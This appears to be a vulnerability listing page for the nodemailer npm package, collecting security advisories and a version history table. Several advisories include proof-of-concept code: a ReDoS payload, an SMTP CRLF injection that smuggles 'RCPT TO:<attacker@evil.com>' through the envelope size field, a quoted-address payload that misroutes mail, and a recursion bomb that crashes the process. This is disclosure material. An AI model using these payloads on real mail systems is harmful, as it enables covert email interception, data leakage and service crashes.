NodeJS/nodemailer/0.2.1
Easy as cake e-mail sending from your Node.js applications
https://www.npmjs.com/package/nodemailer
MIT
8 Security Vulnerabilities
Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
- https://nvd.nist.gov/vuln/detail/CVE-2025-14874
- https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150
- https://access.redhat.com/security/cve/CVE-2025-14874
- https://bugzilla.redhat.com/show_bug.cgi?id=2418133
- https://github.com/nodemailer/nodemailer
- https://github.com/advisories/GHSA-46j5-6fg5-4gv3
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.
Original Description
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
Command injection in nodemailer
- https://nvd.nist.gov/vuln/detail/CVE-2020-7769
- https://github.com/advisories/GHSA-48ww-j4fc-435p
- https://github.com/nodemailer/nodemailer/commit/ba31c64c910d884579875c52d57ac45acc47aa54
- https://github.com/nodemailer/nodemailer/blob/33b62e2ea6bc9215c99a9bb4bfba94e2fb27ebd0/lib/sendmail-transport/index.js#L75
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1039742
- https://snyk.io/vuln/SNYK-JS-NODEMAILER-1038834
- https://www.npmjs.com/package/nodemailer
- https://github.com/nodemailer/nodemailer/blob/33b62e2ea6bc9215c99a9bb4bfba94e2fb27ebd0/lib/sendmail-transport/index.js%23L75
This affects the package nodemailer before 6.4.16. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.
nodemailer ReDoS when trying to send a specially crafted email
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-9h6g-pr28-7cqp
- https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
- https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
- https://github.com/advisories/GHSA-9h6g-pr28-7cqp
- https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a
Summary
A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop. Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.
Details
Regex: /^data:((?:[^;];)(?:[^,])),(.)$/
Path: compile -> getAttachments -> _processDataUrl
Regex: /(]* src\s=[\s"'])(data:([^;]+);[^"'>\s]+)/
Path: _convertDataImages
PoC
https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
async function exploit() {
const MailComposer = require(\"nodemailer/lib/mail-composer\");
const MailComposerObject = new MailComposer();
// Create a malicious data URL that will cause excessive backtracking
// This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';
// Call the vulnerable method with the crafted input
const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}
await exploit();
Impact
ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.
Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter
Summary
When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.
Details
In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:
if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
args.push('SIZE=' + this._envelope.size);
}
This contrasts with other envelope parameters in the same function that ARE properly sanitized: - Addresses (from, to): validated for [\r\n<>] at lines 1107-1127 - DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183
The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:
const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
if (!standardFields.includes(key)) {
this._envelope[key] = envelope[key];
}
});
Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.
Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail(). While this limits the attack surface, applications that expose envelope configuration to users are affected.
PoC
ave the following as poc.js and run with node poc.js:
const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');
const transporter = nodemailer.createTransport({
host: '127.0.0.1',
port,
secure: false,
tls: { rejectUnauthorized: false },
});
transporter.sendMail({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Normal email',
text: 'This is a normal email.',
envelope: {
from: 'sender@example.com',
to: ['recipient@example.com'],
size: '100\r\nRCPT TO:<attacker@evil.com>',
},
}, (err) => {
if (err) console.error('Error:', err.message);
console.log('\nExpected output above:');
console.log(' C: MAIL FROM:<sender@example.com> SIZE=100');
console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED');
console.log(' C: RCPT TO:<recipient@example.com>');
server.close();
transporter.close();
});
});
Expected output: ``` SMTP server on port 12345 Sending email with injected RCPT TO...
C: EHLO [127.0.0.1] C: MAIL FROM:sender@example.com SIZE=100 C: RCPT TO:attacker@evil.com C: RCPT TO:recipient@example.com C: DATA ... C: . C: QUIT ```
The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.
Impact
This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:
- Silently add hidden recipients to outgoing emails via injected
RCPT TOcommands, receiving copies of all emails sent through the affected transport - Inject arbitrary SMTP commands (e.g.,
RSET, additionalMAIL FROMto send entirely separate emails through the server) - Leverage the sending organization's SMTP server reputation for spam or phishing delivery
The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.
Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.
Header injection in nodemailer
- https://nvd.nist.gov/vuln/detail/CVE-2021-23400
- https://github.com/nodemailer/nodemailer/issues/1289
- https://github.com/nodemailer/nodemailer/commit/7e02648cc8cd863f5085bad3cd09087bccf84b9f
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1314737
- https://snyk.io/vuln/SNYK-JS-NODEMAILER-1296415
- https://github.com/advisories/GHSA-hwqf-gcqm-7353
The package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.
Duplicate Advisory: Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87
- https://nvd.nist.gov/vuln/detail/CVE-2025-13033
- https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626
- https://access.redhat.com/security/cve/CVE-2025-13033
- https://bugzilla.redhat.com/show_bug.cgi?id=2402179
- https://github.com/nodemailer/nodemailer
- https://github.com/advisories/GHSA-jj37-3377-m6vv
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-mm7p-fcc7-pg87. This link is maintained to preserve external references.
Original Description
A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.
Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87
- https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626
- https://github.com/advisories/GHSA-mm7p-fcc7-pg87
- https://nvd.nist.gov/vuln/detail/CVE-2025-13033
- https://access.redhat.com/security/cve/CVE-2025-13033
- https://bugzilla.redhat.com/show_bug.cgi?id=2402179
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Payload: "xclow3n@gmail.com x"@internal.domain Using the following code to send mail ``` const nodemailer = require(nodemailer
);
let transporter = nodemailer.createTransport({ service: gmail
, auth: { user: , pass:
, }, });
let mailOptions = { from: 'Test Sender
\
xclow3n@gmail.com x\@internal.domain
, subject: Hello from Nodemailer
, text: This is a test email sent using Gmail SMTP and Nodemailer!
, };
transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log(Error:
, error); } console.log(Message sent: %s
, info.messageId);
});
(async () => { const parser = await import(@sparser/email-address-parser
); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);
if (!parsed) { console.error(Invalid email address:
, mailOptions.to); return; }
console.log(Parsed email:
, { address: ${parsed.localPart}@${parsed.domain}, local: parsed.localPart, domain: parsed.domain, }); })(); ```
Running the script and seeing how this mail is parsed according to RFC
Parsed email: {
address: '"xclow3n@gmail.com x"@internal.domain',
local: '"xclow3n@gmail.com x"',
domain: 'internal.domain'
}
But the email is sent to xclow3n@gmail.com
Impact:
Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
Domain based access control bypass in downstream applications using your library to send mails
Recommendations
Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.
Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
- https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150
- https://github.com/advisories/GHSA-rcmh-qjqh-p98v
- https://nvd.nist.gov/vuln/detail/CVE-2025-14874
- https://access.redhat.com/security/cve/CVE-2025-14874
- https://bugzilla.redhat.com/show_bug.cgi?id=2418133
Summary
A DoS can occur that immediately halts the system due to the use of an unsafe function.
Details
According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS
RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js:
https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90
there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:
g0: g1: g2: g3: ... gN: victim@example.com;
Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern addressparser → _handleAddress → addressparser → ... for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.
The problematic code section is as follows: js if (isGroup) { ... if (data.group.length) { let parsedGroup = addressparser(data.group.join(',')); // <- boom! parsedGroup.forEach(member => { if (member.group) { groupMembers = groupMembers.concat(member.group); } else { groupMembers.push(member); } }); } } data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.
PoC
const nodemailer = require('nodemailer');
function buildDeepGroup(depth) {
let parts = [];
for (let i = 0; i < depth; i++) {
parts.push(`g${i}:`);
}
return parts.join(' ') + ' user@example.com;';
}
const DEPTH = 3000; // <- control depth
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);
const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
newline: 'unix'
});
console.log('parsing start');
transporter.sendMail(
{
from: 'test@example.com',
to: toHeader,
subject: 'test',
text: 'test'
},
(err, info) => {
if (err) {
console.error('error:', err);
} else {
console.log('finished :', info && info.envelope);
}
}
);
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.
Impact
The attacker can achieve the following:
- Force an immediate crash of any server/service that uses Nodemailer
- Kill the backend process with a single web request
- In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”
292 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 6.6.2 | MIT | 6 | 2021-06-18 - 06:17 | almost 5 years |
| 6.6.1 | MIT | 6 | 2021-05-23 - 10:19 | almost 5 years |
| 6.6.0 | MIT | 7 | 2021-04-28 - 09:23 | almost 5 years |
| 6.5.0 | MIT | 7 | 2021-02-26 - 08:45 | about 5 years |
| 6.4.18 | MIT | 7 | 2021-02-11 - 13:30 | about 5 years |
| 6.4.17 | MIT | 7 | 2020-12-11 - 10:35 | over 5 years |
| 6.4.16 | MIT | 7 | 2020-11-12 - 08:03 | over 5 years |
| 6.4.15 | MIT | 8 | 2020-11-06 - 12:53 | over 5 years |
| 6.4.14 | MIT | 8 | 2020-10-14 - 06:05 | over 5 years |
| 6.4.13 | MIT | 8 | 2020-10-02 - 07:42 | over 5 years |
| 6.4.12 | MIT | 8 | 2020-09-30 - 20:16 | over 5 years |
| 6.4.11 | MIT | 8 | 2020-07-29 - 08:15 | over 5 years |
| 6.4.10 | MIT | 8 | 2020-06-17 - 08:59 | almost 6 years |
| 6.4.8 | MIT | 8 | 2020-05-28 - 12:22 | almost 6 years |
| 6.4.7 | MIT | 8 | 2020-05-28 - 08:27 | almost 6 years |
| 6.4.6 | MIT | 8 | 2020-03-20 - 10:18 | about 6 years |
| 6.4.5 | MIT | 8 | 2020-03-10 - 19:11 | about 6 years |
| 6.4.4 | MIT | 8 | 2020-03-01 - 20:32 | about 6 years |
| 6.4.3 | MIT | 8 | 2020-02-22 - 17:21 | about 6 years |
| 6.4.2 | MIT | 8 | 2019-12-11 - 21:50 | over 6 years |
| 6.4.1 | MIT | 8 | 2019-12-07 - 17:07 | over 6 years |
| 6.4.0 | MIT | 8 | 2019-12-04 - 12:59 | over 6 years |
| 6.3.1 | MIT | 8 | 2019-10-09 - 06:03 | over 6 years |
| 6.3.0 | MIT | 8 | 2019-07-14 - 11:23 | over 6 years |
| 6.2.1 | MIT | 8 | 2019-05-24 - 08:08 | almost 7 years |
| 6.1.1 | MIT | 8 | 2019-04-20 - 07:26 | almost 7 years |
| 6.1.0 | MIT | 8 | 2019-04-06 - 14:56 | almost 7 years |
| 6.0.0 | MIT | 8 | 2019-03-25 - 10:15 | about 7 years |
| 5.1.1 | MIT | 8 | 2019-01-09 - 21:04 | about 7 years |
| 5.1.0 | MIT | 8 | 2019-01-09 - 09:08 | about 7 years |
| 5.0.1 | MIT | 8 | 2019-01-08 - 22:09 | about 7 years |
| 5.0.0 | MIT | 8 | 2018-12-28 - 10:45 | over 7 years |
| 4.7.0 | MIT | 8 | 2018-11-19 - 12:27 | over 7 years |
| 4.6.8 | MIT | 8 | 2018-08-15 - 16:46 | over 7 years |
| 4.6.7 | MIT | 8 | 2018-06-15 - 10:55 | almost 8 years |
| 4.6.6 | MIT | 8 | 2018-06-10 - 11:06 | almost 8 years |
| 4.6.5 | MIT | 8 | 2018-05-23 - 08:29 | almost 8 years |
| 4.6.4 | MIT | 8 | 2018-03-31 - 13:34 | about 8 years |
| 4.6.3 | MIT | 8 | 2018-03-14 - 08:12 | about 8 years |
| 4.6.2 | MIT | 8 | 2018-03-06 - 09:31 | about 8 years |
| 4.6.1 | MIT | 8 | 2018-03-06 - 07:58 | about 8 years |
| 4.6.0 | MIT | 8 | 2018-02-22 - 16:50 | about 8 years |
| 4.5.0 | MIT | 8 | 2018-02-21 - 11:45 | about 8 years |
| 4.4.2 | MIT | 8 | 2018-01-20 - 12:08 | about 8 years |
| 4.4.1 | MIT | 8 | 2017-12-08 - 10:17 | over 8 years |
| 4.4.0 | MIT | 8 | 2017-11-10 - 11:39 | over 8 years |
| 4.3.1 | MIT | 8 | 2017-10-25 - 07:32 | over 8 years |
| 4.3.0 | MIT | 8 | 2017-10-23 - 09:07 | over 8 years |
| 4.2.0 | MIT | 8 | 2017-10-13 - 18:07 | over 8 years |
| 4.1.3 | MIT | 8 | 2017-10-06 - 06:43 | over 8 years |
